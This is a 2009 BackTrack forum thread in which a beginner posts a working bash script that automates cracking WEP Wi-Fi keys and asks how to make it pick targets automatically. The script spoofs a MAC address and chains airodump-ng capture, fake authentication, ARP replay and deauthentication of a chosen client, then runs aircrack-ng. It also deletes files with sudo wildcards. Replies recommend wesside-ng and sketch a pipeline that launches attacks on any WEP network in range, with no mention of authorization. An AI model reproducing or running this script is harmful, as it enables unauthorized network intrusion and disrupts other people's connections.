Remote Exploit Forums

Go Back   Remote Exploit Forums > Specialist Topics > Programming


Programming A place for our community to discuss their own security related coding projects.

Reply
 
LinkBack Thread Tools Display Modes
  #1 (permalink)  
Old 10-30-2009, 08:22 AM
Just burned his ISO
 
Join Date: Feb 2009
Posts: 4
Send a message via Yahoo to mael4704
Red face semi auto WEP with station script....need advice..

hi. 1st sorry about my english, i'm asian

(fresh bt4 vm + edimark 7318usg)
my script like:-

Code:
#!/bin/bash
device=wlan0
driver=rt73usb
fake=00:11:22:33:44:55
enc=1

airmon-ng stop $device
ifconfig $device down
rmmod $driver
modprobe $driver
macchanger --mac 00:11:22:33:44:55 $device
iwconfig $device mode monitor
ifconfig $device up
airmon-ng start $device
airmon-ng stop mon0
sudo rm *.txt
sudo rm *.cap
sudo rm *.sh~
sudo rm *.arp-request
sudo rm *.ivs
sudo rm *.xor
sudo rm *.csv
clear

echo ""
echo "      ___________________________________________________  "
echo "     |                                                   | "
echo "     | chose your target, write down the ESSID,BSSID,ENC | "
echo "     | CH,and STATION. Once done close 'MONITOR' konsole | "
echo "     | and follow the instruction... have a nice day :-) | "
echo "     |___________________________________________________| "
echo ""

   konsole -T MONITOR --noclose -e airodump-ng $device

echo ""
read -p  "  A. CHANNEL (CH).......................?  " ch
read -p  "  B. ESSID..............................?  " essid
read -p  "  C. BSSID   xx:xx:xx:xx:xx:xx .........?  " bssid
read -p  "  D. STATION xx:xx:xx:xx:xx:xx .........?  " station
echo ""

if [ $enc = 1 ]
then
airmon-ng start $device $ch
airmon-ng stop mon0

iwconfig $device rate 1M

 konsole -T table-A --noclose -e airodump-ng -c $ch --write key --bssid $bssid $device &
sleep 3
 konsole -T table-B --noclose -e aireplay-ng -1 6000 -q 10 -o 1 -a $bssid -e $essid -h $fake $device &
sleep 10
 konsole -T table-C --noclose -e aireplay-ng -3 -b $bssid -e $essid -h $fake $device &
sleep 10
konsole -T table-FLASH -e aireplay-ng -0 50 -a $bssid -c $station -h $fake $device &
sleep 15
clear
echo "    please wait.........   "
echo "    do not close any konsole until you got thr password at table-D  "
sleep 30
        konsole -T table-D -e aircrack-ng key-01.cap
clear
echo ""
echo "  :-) "
exit
fi
any advice how to change to fully auto, mean
i dont want write down the input..just want chose the AP and client mac on the list
like
Code:
     choose your AP target

          esssid        enc
      a. aztech1       (wep)   1
      b. aztech2       (wpa)   2
      c. aztech3       (opn)   3


     chose your client

          essid       station
          aztech1     xx:xx:xx:xx:xx:xx   1
                      xx:xx:xx:xx:xx:xx   2
                      xx:xx:xx:xx:Xx:xx   3
then script auto run.
my imagine is
save any data when "MONITOR" run and recall back the data when "MONITOR" closed, how to make this script hapend..
Reply With Quote
  #2 (permalink)  
Old 10-30-2009, 08:27 AM
Gitsnik's Avatar
Senior Member
 
Join Date: Jun 2009
Location: The Crystal Wind
Posts: 494
Default

Quote:
Originally Posted by mael4704 View Post
how to make this script hapend..
wesside-ng, wepbuster, or one of a hundred others. I applaud your starting to make use of scripting tech for this sort of thing, but I suggest you apply your skills elsewhere.

If you insist on not, why not look into transferring information around via sockets, named pipes or even just based on the logging information out of the airodump created .txt files with grep.

I have a script around somewhere that airodump's, identifies a wep network and then runs wesside-ng against it - it's just a tail command attached to a grep and a while loop: tail airodump.log | grep WEP | grep OPN | while read BSSIDLINE; do blah; done
__________________
Never underestimate the power of human stupidity - it is like a force of nature, capable of destroying even the most well laid plans.
Reply With Quote
  #3 (permalink)  
Old 10-30-2009, 09:02 AM
Just burned his ISO
 
Join Date: Feb 2009
Posts: 4
Send a message via Yahoo to mael4704
Default

Quote:
Originally Posted by Gitsnik View Post
wesside-ng, wepbuster, or one of a hundred others. I applaud your starting to make use of scripting tech for this sort of thing, but I suggest you apply your skills elsewhere.

If you insist on not, why not look into transferring information around via sockets, named pipes or even just based on the logging information out of the airodump created .txt files with grep.

I have a script around somewhere that airodump's, identifies a wep network and then runs wesside-ng against it - it's just a tail command attached to a grep and a while loop: tail airodump.log | grep WEP | grep OPN | while read BSSIDLINE; do blah; done
thanks for reply..
i get my skills just on google only..
computer, window arroud 1 year and linux(bt3&4) just 8 month, i'm so new on "this wold"

nevermine
u mean tail airodump.log | grep WEP | grep OPN | while read BSSIDLINE; do blah; done is part of script ?? seriously im noob...

my script alreddy finish for wep with client & no client on fragment/chop2 and interactive attack at cople off week

now i try make it fully auto..thnk for advice
Reply With Quote
  #4 (permalink)  
Old 10-30-2009, 10:02 AM
Gitsnik's Avatar
Senior Member
 
Join Date: Jun 2009
Location: The Crystal Wind
Posts: 494
Default

Honestly, this isn't really where you need to be if you're noobish to all this stuff, the distro isn't really for you.

However, yes I did mean that part was a script - a bash script the same as you.
Quote:
Originally Posted by mael4704 View Post
now i try make it fully auto..thnk for advice
wesside-ng *is* fully auto - the only reason I use the bash script I made pseudo-mention of above is because even the 1.0 version of wesside-ng sometimes tries to attack WPA networks when it shouldn't.

Theoretically you should be able to just type "wesside-ng -i interface" and it will attack any WEP network in range - in practice you need to link airodump together with it so that you may process the channel and BSSID out to ensure wesside operates correctly.

I strongly recommend you go and have a play with wesside-ng and learn it properly - it will save you a lot of time. Plus, the lack of duplication of code means you have a central point of "known good" when you are debugging the code you write to go around these tools.
__________________
Never underestimate the power of human stupidity - it is like a force of nature, capable of destroying even the most well laid plans.
Reply With Quote
  #5 (permalink)  
Old 10-30-2009, 11:35 AM
omegadamage's Avatar
Junior Member
 
Join Date: Jul 2009
Posts: 7
Default Hmm

Think you should look into my scripts and forget all other LOL as they can be fuddled up if you know what I mean! Sorry Gitsnik mael4704 should learn a more stream lined script. More self explanatory and formed easier to learn at first and yes I am making my way back up the script kitty ladder to challenge you LOL.

Omegadamage
__________________
If you have tried once and not succeeded then give up!! Or you can try harder and be omegadamage!!

Last edited by omegadamage; 10-30-2009 at 11:40 AM. Reason: None
Reply With Quote
  #6 (permalink)  
Old 10-30-2009, 11:47 AM
Gitsnik's Avatar
Senior Member
 
Join Date: Jun 2009
Location: The Crystal Wind
Posts: 494
Default

Quote:
Originally Posted by omegadamage View Post
Sorry Gitsnik mael4704 should learn a more stream lined script.
Oh I agree. It's just so... devastating... to see so many people... waste... talent on re-inventing the wheel (or the wep-script) when they could be investing time in other things.

Hell, how many scripts do you know of that are capable of SKA as well? Let's see some more of those at least! But, unfortunately, one is continually subjected to an almost endless stream of talent being put to little use and less innovation. It is a shame to see so many of my/this generation doing this - not that my own contributions are massive, but I like to think they are, at least, new and/or innovative - or at least fill a gap.

But now I sound like a pontificating old man rather than a twenty something programmer, so I better leave this here
__________________
Never underestimate the power of human stupidity - it is like a force of nature, capable of destroying even the most well laid plans.
Reply With Quote
  #7 (permalink)  
Old 10-31-2009, 01:06 AM
balding_parrot's Avatar
Administrator
 
Join Date: May 2007
Posts: 3,245
Default

Quote:
Originally Posted by Gitsnik View Post
Oh I agree. It's just so... devastating... to see so many people... waste... talent on re-inventing the wheel (or the wep-script) when they could be investing time in other things.

Hell, how many scripts do you know of that are capable of SKA as well? Let's see some more of those at least! But, unfortunately, one is continually subjected to an almost endless stream of talent being put to little use and less innovation. It is a shame to see so many of my/this generation doing this - not that my own contributions are massive, but I like to think they are, at least, new and/or innovative - or at least fill a gap.

But now I sound like a pontificating old man rather than a twenty something programmer, so I better leave this here
Sorry but I see it differently. Ok they are reinventing the wheel, but so what. This may be one of their first scripts and using some of the previous and numerous similar scripts as examples will only serve to make their scripting better. So instead of complaining that they are reinventing the wheel, how about offering some constructive criticism and show them where they can make it better so they can learn even more from it. Who knows, they may even move on to greater and better scripts in areas where they are lacking and make everyone's life easier in the future.
After all we all have to start somewhere and most books or experienced programmers will tell you to take an existing script, examine it and rewrite it yourself.
__________________

Any questions you have will get a good answer as long as you have followed the forum rules and show you have tried to help yourself. Your questions are clear and contain as much relevant info as possible, especially error messages, commands you have tried and the output from those commands.

remember: garbage in = garbage out

BackTrack needs your donations, no matter how small.

Please contribute HERE

Reply With Quote
  #8 (permalink)  
Old 10-31-2009, 06:11 AM
omegadamage's Avatar
Junior Member
 
Join Date: Jul 2009
Posts: 7
Thumbs up

Quote:
balding_parrot
After all we all have to start somewhere and most books or experienced programmers will tell you to take an existing script, examine it and rewrite it yourself.
Yea, I would have to agree with you balding_parrot he should look at my script and reconfigure it the way he see fit.
__________________
If you have tried once and not succeeded then give up!! Or you can try harder and be omegadamage!!
Reply With Quote
  #9 (permalink)  
Old 10-31-2009, 07:17 AM
Just burned his ISO
 
Join Date: Feb 2009
Posts: 4
Send a message via Yahoo to mael4704
Default

sorry if i missundertanding or all of you not understand what i say..
for read 1 post i take 5-10 min with dictionary my language to english at my hand, huhuhu, my english so bad..

Quote:
Originally Posted by Gitsnik View Post
Honestly, this isn't really where you need to be if you're noobish to all this stuff, the distro isn't really for you.
huhuh, so where i can start...on my window??? in 1st year used my 1st laptop..more than 5 time i reformat, like i say.. i'm so new on this world (computer/window/distro etc etc) why distro, because i used vmware image, when demage, i just plase a new copy..

Quote:
Originally Posted by omegadamage View Post
Think you should look into my scripts and forget all other LOL as they can be fuddled up if you know what I mean! Sorry Gitsnik mael4704 should learn a more stream lined script. More self explanatory and formed easier to learn at first and yes I am making my way back up the script kitty ladder to challenge you LOL.

Omegadamage
thanks bro, thats what i mean, want lern more stream lined script, if just want hack a WEP, used syantax command on aircrack-ng that enough..

Quote:
Originally Posted by balding_parrot View Post
Sorry but I see it differently. Ok they are reinventing the wheel, but so what. This may be one of their first scripts and using some of the previous and numerous similar scripts as examples will only serve to make their scripting better. So instead of complaining that they are reinventing the wheel, how about offering some constructive criticism and show them where they can make it better so they can learn even more from it. Who knows, they may even move on to greater and better scripts in areas where they are lacking and make everyone's life easier in the future.
After all we all have to start somewhere and most books or experienced programmers will tell you to take an existing script, examine it and rewrite it yourself.
yes, what i place on 1st post it's my first script and to make the script i take a couple of week and more week to compile WEP attck type .. mby it's so easy for someone but i'm start from here (BT) and from nothing,

whay BT, because i interest with this distro and BT it's my first distro i used..


thanks for all of you,
Reply With Quote
  #10 (permalink)  
Old 10-31-2009, 07:31 AM
Gitsnik's Avatar
Senior Member
 
Join Date: Jun 2009
Location: The Crystal Wind
Posts: 494
Default

Quote:
Originally Posted by mael4704 View Post
huhuh, so where i can start...on my window??? in 1st year used my 1st laptop..more than 5 time i reformat, like i say.. i'm so new on this world (computer/window/distro etc etc) why distro, because i used vmware image, when demage, i just plase a new copy..
I'm just a grumpy elitist really. When I started out I had to reinstall my machine 5 or 6 times a week as I played around and got to know what could or could not be changed. I had no internet connection at the time so I read every manual page I could and just figured it all out for myself. I took code that other people had written (what I could find from source drives) and enhanced it by trial and error. It was a good 2 years before I got an internet connection and could start asking people for help, as well as a job so I could start buying reference manuals. My elitist nature suggests that everyone should try this hard or harder to gain their knowledge - rather than just reinventing the wheel, learn how it works and then put new rubber on it.

I much prefer the idea that you make use of omega's script and enhance from there - an enhancement is infinitely better than yet-another-hello-world script.

By the by, I did suggest the enhancement (maybe not in the most articulate way) - when airodump is logging to file, it logs all the information you need, tail -f will keep printing that information line by line to the screen, grep does what grep does, and then you can use a bash "while read" combination to start kicking off your attack sequences.

When my BT box is back and I recall to, I'll make a dump of the airodump/bash/wesside-ng script that I myself make use of. It's small and dirty but it's "yet-another-wep-script" that you or anyone else can look at.
__________________
Never underestimate the power of human stupidity - it is like a force of nature, capable of destroying even the most well laid plans.
Reply With Quote
Reply

Bookmarks

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On



All times are GMT. The time now is 07:58 PM.


Powered by vBulletin® Version 3.8.4
Copyright ©2000 - 2009, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.3.2